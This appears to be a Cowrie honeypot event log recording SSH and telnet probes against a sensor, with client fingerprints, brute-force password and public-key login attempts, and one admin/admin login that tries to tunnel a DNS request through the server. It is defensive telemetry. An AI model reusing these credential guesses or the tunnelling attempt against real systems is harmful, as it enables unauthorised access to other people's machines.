{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:57.599422Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:57.700081Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17031977","message":"login attempt [user/17031977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:58.172543Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021995","message":"login attempt [user/17021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:26:59.276097Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021978","message":"login attempt [user/17021978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:00.380184Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021974","message":"login attempt [user/17021974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:01.489149Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"161085","message":"login attempt [user/161085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:02.594775Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:03.700801Z","src_ip":"2.57.121.25","session":"1f0b0ac872da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.470481157302856,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:09.023077Z","src_ip":"152.59.4.46","session":"76e565642f9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00549364089966,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:38.083683Z","src_ip":"212.55.149.117","session":"e4da431b36a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.71.211.122","src_port":52802,"dst_ip":"10.17.0.5","dst_port":22,"session":"41ca40448b79","protocol":"ssh","message":"New connection: 192.71.211.122:52802 (10.17.0.5:22) [session: 41ca40448b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:42.345506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:42.350238Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:42.466085Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:85:2a:f3:26:f2:f6:f6:db:e3:95:02:7d:10:cf:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCor6hR7RonEjRRcpJt3FeOgWpXrBCEfIpW5bJ/9hvPobapDO60PjetKNGK494ltPUtSq/qmgDWcziuchSTK+bdQ+64sC5ZFjw3Uu9qFhtAAeM4X/8FtOju6AesJU4wjpc0XPgFqGDo0RQxx4WnprM/U088Svxqxune6s84tB8NLnYdsBO4nq1+1j2MeEOE5DPEcwxWXdYUzQ2tAcDc0Tj8HPXBas5ADP0g3hVORnAat0FTkvbm5S2q8eghK6DWV0PaGdNeaQvJbRrlhPHs+B19u4XeFh0Z6sVqyu27vQIp4j1CE6irt3OI/gTJKsg8E+Jv1bGM/6ZCMqQr4NlMfZqt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:85:2a:f3:26:f2:f6:f6:db:e3:95:02:7d:10:cf:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.023547Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:85:2a:f3:26:f2:f6:f6:db:e3:95:02:7d:10:cf:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCor6hR7RonEjRRcpJt3FeOgWpXrBCEfIpW5bJ/9hvPobapDO60PjetKNGK494ltPUtSq/qmgDWcziuchSTK+bdQ+64sC5ZFjw3Uu9qFhtAAeM4X/8FtOju6AesJU4wjpc0XPgFqGDo0RQxx4WnprM/U088Svxqxune6s84tB8NLnYdsBO4nq1+1j2MeEOE5DPEcwxWXdYUzQ2tAcDc0Tj8HPXBas5ADP0g3hVORnAat0FTkvbm5S2q8eghK6DWV0PaGdNeaQvJbRrlhPHs+B19u4XeFh0Z6sVqyu27vQIp4j1CE6irt3OI/gTJKsg8E+Jv1bGM/6ZCMqQr4NlMfZqt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.026976Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a6:79:f0:66:ca:77:c3:83:55:eb:57:0e:8f:94:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuZYtsoh3xOdFs5H2ie+mZAigg7D7NxdjkXRqRMSLWHLteFWt+yHN1zpuQmfoMRK/CQFdQSIp+vtz039wsuCfyUSj/Zc0S9JooaatHZeZkds5dH/W35qZ9OIkzgEP71R54Nd4fdJjeTTix8vWJtGrpnNWxn49L+pKAL5Y83q8wiLqHwLh27Rg1rnfmqgPD51vnEfOyRvaVP1rNLGxq8Ws4CaECivtKzXDYodInKCAUDEkbCLyVE73vc6raJ7y2UjQQF090MLo7dbt2vkbaMdxqXiItq0TBAVV9WzuhKn9jHCTAj0ProbIIgdhm+K2R19LN2ZyERXia/LxHPU/qS4w6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a6:79:f0:66:ca:77:c3:83:55:eb:57:0e:8f:94:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.144231Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a6:79:f0:66:ca:77:c3:83:55:eb:57:0e:8f:94:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuZYtsoh3xOdFs5H2ie+mZAigg7D7NxdjkXRqRMSLWHLteFWt+yHN1zpuQmfoMRK/CQFdQSIp+vtz039wsuCfyUSj/Zc0S9JooaatHZeZkds5dH/W35qZ9OIkzgEP71R54Nd4fdJjeTTix8vWJtGrpnNWxn49L+pKAL5Y83q8wiLqHwLh27Rg1rnfmqgPD51vnEfOyRvaVP1rNLGxq8Ws4CaECivtKzXDYodInKCAUDEkbCLyVE73vc6raJ7y2UjQQF090MLo7dbt2vkbaMdxqXiItq0TBAVV9WzuhKn9jHCTAj0ProbIIgdhm+K2R19LN2ZyERXia/LxHPU/qS4w6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.148318Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:6b:21:25:ae:fa:cf:ce:e9:a4:f5:72:7a:e5:b5:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+h9ZGp/8nza6P5vw0YD9SmuHaUzGEkbk5+UEWecc+O4jppVaHvWgZMh4v7Lb+u4CbdClx8vtB0nGVVHCGAyeSVKTQpyEyvRT/IyK9rWP9cROjV5MQj0ormQGF+vnBhjOvBDn4IjmAVn3D3cFeyThfi7Ko7Z7r2h9/6oonEBK8A60Unm/rfXT1Yf7dVLv2n8VWqn+Y5RL3H8GVT2qSxP5xXKiwoYz7wJAr23h+YFEI5kXoTTy2fzwlUzkgpkvDVq1KXCK/qW0c0UUk6RwH04VI3Oz1M/vrkd9QDtPP868DOcDqdMafPmKWsPdAfu+9NIiLptoWccq9eD2Z5Ln8US/F+fGP5Pg/WAjDMAJykMEp4Wq94I15grdWACOHRZ+SVyx5FgUBUw6Si8r7/AmSAeHfB3DAyiXoohPtRrCjUKiod48t7AjEZKzmkPF97EBhnIhMwi39MpCq1avOE8AsYIEU2og9NVarF9zB77t7HjgPA2RYAEV7N3w+UQPdY0ZkC4fFqGpULHe2usbOKSEskmaUbojQpQupui5oF6B5Hbloz4g34hDiV1VDb0bAr99/SZ8EHb1Iv8Ci0v1HbVtlLr8ATnAolJP81xmmWnRnMLPi5LlZ/3t5E4LTfbZHSG7JwKAYM4OFPfaI93GIY/jVJesuXImuT8fzdb15aTigWEZ1Kw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:6b:21:25:ae:fa:cf:ce:e9:a4:f5:72:7a:e5:b5:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.266244Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:6b:21:25:ae:fa:cf:ce:e9:a4:f5:72:7a:e5:b5:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+h9ZGp/8nza6P5vw0YD9SmuHaUzGEkbk5+UEWecc+O4jppVaHvWgZMh4v7Lb+u4CbdClx8vtB0nGVVHCGAyeSVKTQpyEyvRT/IyK9rWP9cROjV5MQj0ormQGF+vnBhjOvBDn4IjmAVn3D3cFeyThfi7Ko7Z7r2h9/6oonEBK8A60Unm/rfXT1Yf7dVLv2n8VWqn+Y5RL3H8GVT2qSxP5xXKiwoYz7wJAr23h+YFEI5kXoTTy2fzwlUzkgpkvDVq1KXCK/qW0c0UUk6RwH04VI3Oz1M/vrkd9QDtPP868DOcDqdMafPmKWsPdAfu+9NIiLptoWccq9eD2Z5Ln8US/F+fGP5Pg/WAjDMAJykMEp4Wq94I15grdWACOHRZ+SVyx5FgUBUw6Si8r7/AmSAeHfB3DAyiXoohPtRrCjUKiod48t7AjEZKzmkPF97EBhnIhMwi39MpCq1avOE8AsYIEU2og9NVarF9zB77t7HjgPA2RYAEV7N3w+UQPdY0ZkC4fFqGpULHe2usbOKSEskmaUbojQpQupui5oF6B5Hbloz4g34hDiV1VDb0bAr99/SZ8EHb1Iv8Ci0v1HbVtlLr8ATnAolJP81xmmWnRnMLPi5LlZ/3t5E4LTfbZHSG7JwKAYM4OFPfaI93GIY/jVJesuXImuT8fzdb15aTigWEZ1Kw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.270220Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:c9:6f:a6:dd:65:33:cb:1a:27:78:8b:16:f4:32:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnYXKW9D7Hxt++5ujK0yGtmAGv5z57VtaQV4+KXT0OB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 48:c9:6f:a6:dd:65:33:cb:1a:27:78:8b:16:f4:32:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.386451Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:c9:6f:a6:dd:65:33:cb:1a:27:78:8b:16:f4:32:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnYXKW9D7Hxt++5ujK0yGtmAGv5z57VtaQV4+KXT0OB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.390002Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:da:a3:cb:18:da:6d:c9:af:e9:ea:d6:47:c2:22:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhqbH7IG+Z/WfTbqFIfkuxw4QBie6RzmbxhH+IdMTkWOsTSXTuncH13LAeSpC73g+GpK8rZKXTGR//kd7NoCaoEJ7r1Y4H7nXstkKlhpH1CgaxKRxLvyiLSBdJ1ftOeWC5N0OVJA3JEkDF4F4D+rT1vOLw1njozKdWRD/UarVj0n3leinpzC/KKOT7Q8KUln8MhfHC7iuW6OsbzItgKtDKQw8rl7qYkHfPFn2nWhkpiSaEYd6Dk/k/qoFI8AVaaw6as14OZGv4pXwKmOILw5PKKQ0lINq3Jz/zyt6rfwo2mVXtaTAjwM08A4gJZ87Jzi12FXx/FRkMJHXis5R71aeT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:da:a3:cb:18:da:6d:c9:af:e9:ea:d6:47:c2:22:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.507065Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:da:a3:cb:18:da:6d:c9:af:e9:ea:d6:47:c2:22:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhqbH7IG+Z/WfTbqFIfkuxw4QBie6RzmbxhH+IdMTkWOsTSXTuncH13LAeSpC73g+GpK8rZKXTGR//kd7NoCaoEJ7r1Y4H7nXstkKlhpH1CgaxKRxLvyiLSBdJ1ftOeWC5N0OVJA3JEkDF4F4D+rT1vOLw1njozKdWRD/UarVj0n3leinpzC/KKOT7Q8KUln8MhfHC7iuW6OsbzItgKtDKQw8rl7qYkHfPFn2nWhkpiSaEYd6Dk/k/qoFI8AVaaw6as14OZGv4pXwKmOILw5PKKQ0lINq3Jz/zyt6rfwo2mVXtaTAjwM08A4gJZ87Jzi12FXx/FRkMJHXis5R71aeT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.511476Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:43.630868Z","src_ip":"192.71.211.122","session":"41ca40448b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46406,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd3b52aa3c48","protocol":"ssh","message":"New connection: 87.251.64.176:46406 (10.17.0.5:22) [session: bd3b52aa3c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:44.595450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:44.599489Z","src_ip":"87.251.64.176","session":"bd3b52aa3c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:44.696139Z","src_ip":"87.251.64.176","session":"bd3b52aa3c48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:44.986876Z","src_ip":"87.251.64.176","session":"bd3b52aa3c48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:45.086974Z","session":"bd3b52aa3c48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:45.185895Z","src_ip":"87.251.64.176","session":"bd3b52aa3c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:45.285780Z","src_ip":"87.251.64.176","session":"bd3b52aa3c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.228.105.3","src_port":5213,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc5bc729d47f","protocol":"telnet","message":"New connection: 150.228.105.3:5213 (10.17.0.5:23) [session: bc5bc729d47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:27:54.390240Z"}
{"eventid":"cowrie.session.closed","duration":13.765568017959595,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:28:08.155678Z","src_ip":"150.228.105.3","session":"bc5bc729d47f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55788,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bd403be264a","protocol":"ssh","message":"New connection: 103.15.226.202:55788 (10.17.0.5:22) [session: 3bd403be264a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:30:09.019591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:30:09.032826Z","src_ip":"103.15.226.202","session":"3bd403be264a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:30:09.277885Z","src_ip":"103.15.226.202","session":"3bd403be264a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:30:10.029917Z","src_ip":"103.15.226.202","session":"3bd403be264a","protocol":"ssh"}
